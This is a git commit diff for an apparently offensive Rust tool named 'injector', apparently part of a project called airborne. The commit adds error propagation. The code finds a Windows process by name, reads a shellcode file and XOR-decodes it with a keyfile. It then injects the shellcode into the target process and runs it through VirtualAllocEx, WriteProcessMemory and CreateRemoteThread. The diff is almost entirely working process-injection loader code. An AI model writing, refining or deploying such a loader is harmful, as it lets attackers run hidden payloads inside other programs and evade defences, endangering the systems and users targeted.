more error propagation

injector/src/inject.rs

@@ -1,4 +1,4 @@
-use std::{mem::transmute, ptr::null_mut};
+use std::{error::Error, mem::transmute, ptr::null_mut};
 
 use windows_sys::Win32::{
     Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@@ -9,13 +9,13 @@ use windows_sys::Win32::{
     },
 };
 
-pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
+pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
     let dll_len = dll_vec.len();
 
     let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
 
     if h_process == INVALID_HANDLE_VALUE {
-        panic!("failed to open process");
+        return Err(format!("failed to open process {}", pid).into());
     }
 
     let base_addr_ptr = VirtualAllocEx(
@@ -27,7 +27,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
     );
 
     if base_addr_ptr.is_null() {
-        panic!("failed to allocate memory");
+        return Err(format!("failed to allocate memory into process {}", pid).into());
     }
 
     println!("[+] allocated memory at {:p}", base_addr_ptr);
@@ -40,7 +40,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
         null_mut(),
     ) == 0
     {
-        panic!("failed to write process memory");
+        return Err(format!("failed to write process memory into process {}", pid).into());
     }
 
     let h_thread = CreateRemoteThread(
@@ -54,9 +54,11 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
     );
 
     if h_thread == INVALID_HANDLE_VALUE {
-        panic!("failed to create remote thread");
+        return Err(format!("failed to create remote thread into process {}", pid).into());
     }
 
     CloseHandle(h_thread);
     CloseHandle(h_process);
+
+    Ok(())
 }

injector/src/main.rs

@@ -15,24 +15,51 @@ struct Args {
 
 fn main() {
     let args = parse_args();
-    let proc_id =
-        unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
+    let proc_id = unsafe {
+        match process::iterate_procs(&args.procname) {
+            Ok(Some(pid)) => pid,
+            Ok(None) => {
+                println!("[!] process with name {} not found", args.procname);
+                exit(1);
+            }
+            Err(e) => {
+                println!("[!] error during process iteration: {}", e);
+                exit(1);
+            }
+        }
+    };
 
-    let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
+    let mut shellcode = match fs::read(&args.shellcode_path) {
+        Ok(shellcode) => shellcode,
+        Err(e) => {
+            println!("[!] failed to read shellcode: {}", e);
+            exit(1);
+        }
+    };
+
+    let keyfile = match fs::read(&args.keyfile_path) {
+        Ok(keyfile) => keyfile,
+        Err(e) => {
+            println!("[!] failed to read xor keyfile: {}", e);
+            exit(1);
+        }
+    };
 
     if args.offset >= shellcode.len() {
         println!("[!] offset is greater or equal than shellcode length");
         exit(1);
     }
 
-    let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
     println!("[+] xor'ing shellcode");
     airborne_utils::xor_cipher(&mut shellcode, &keyfile);
 
     println!("[+] injecting shellcode into {}", args.procname);
-    unsafe { inject::inject(proc_id, shellcode) };
-
-    println!("[+] done");
+    unsafe {
+        match inject::inject(proc_id, shellcode) {
+            Ok(_) => println!("[+] done"),
+            Err(e) => println!("[!] failure during injection: {}", e),
+        }
+    };
 }
 
 fn parse_args() -> Args {

injector/src/process.rs

@@ -1,4 +1,4 @@
-use std::ffi::CStr;
+use std::{error::Error, ffi::CStr};
 
 use windows_sys::Win32::{
     Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@@ -7,31 +7,31 @@ use windows_sys::Win32::{
     },
 };
 
-fn snapshot() -> isize {
+fn snapshot() -> Result<isize, Box<dyn Error>> {
     let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
 
     if snapshot == INVALID_HANDLE_VALUE {
-        panic!("failed to create snapshot");
+        return Err("failed to create toolhelp snapshot".into());
     }
 
-    snapshot
+    Ok(snapshot)
 }
 
-unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
+unsafe fn first_proc_entry(snapshot: isize) -> Result<PROCESSENTRY32, Box<dyn Error>> {
     let mut pe: PROCESSENTRY32 = std::mem::zeroed();
     pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
 
     if Process32First(snapshot, &mut pe) == 0 {
         CloseHandle(snapshot);
-        panic!("failed to get first process entry");
+        return Err("failed to get first process entry".into());
     }
 
-    pe
+    Ok(pe)
 }
 
-pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
-    let snapshot = snapshot();
-    let mut pe = first_proc_entry(snapshot);
+pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Error>> {
+    let snapshot = snapshot()?;
+    let mut pe = first_proc_entry(snapshot)?;
 
     loop {
         let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
@@ -43,14 +43,15 @@ pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
             println!("[+] {}: {}", pid, proc_name);
             CloseHandle(snapshot);
 
-            return Some(pid);
-        } else if Process32Next(snapshot, &mut pe) == 0 {
+            return Ok(Some(pid));
+        }
+
+        if Process32Next(snapshot, &mut pe) == 0 {
             break;
         }
     }
 
-    println!("[-] process with name {} not found", target_name);
     CloseHandle(snapshot);
 
-    None
+    Ok(None)
 }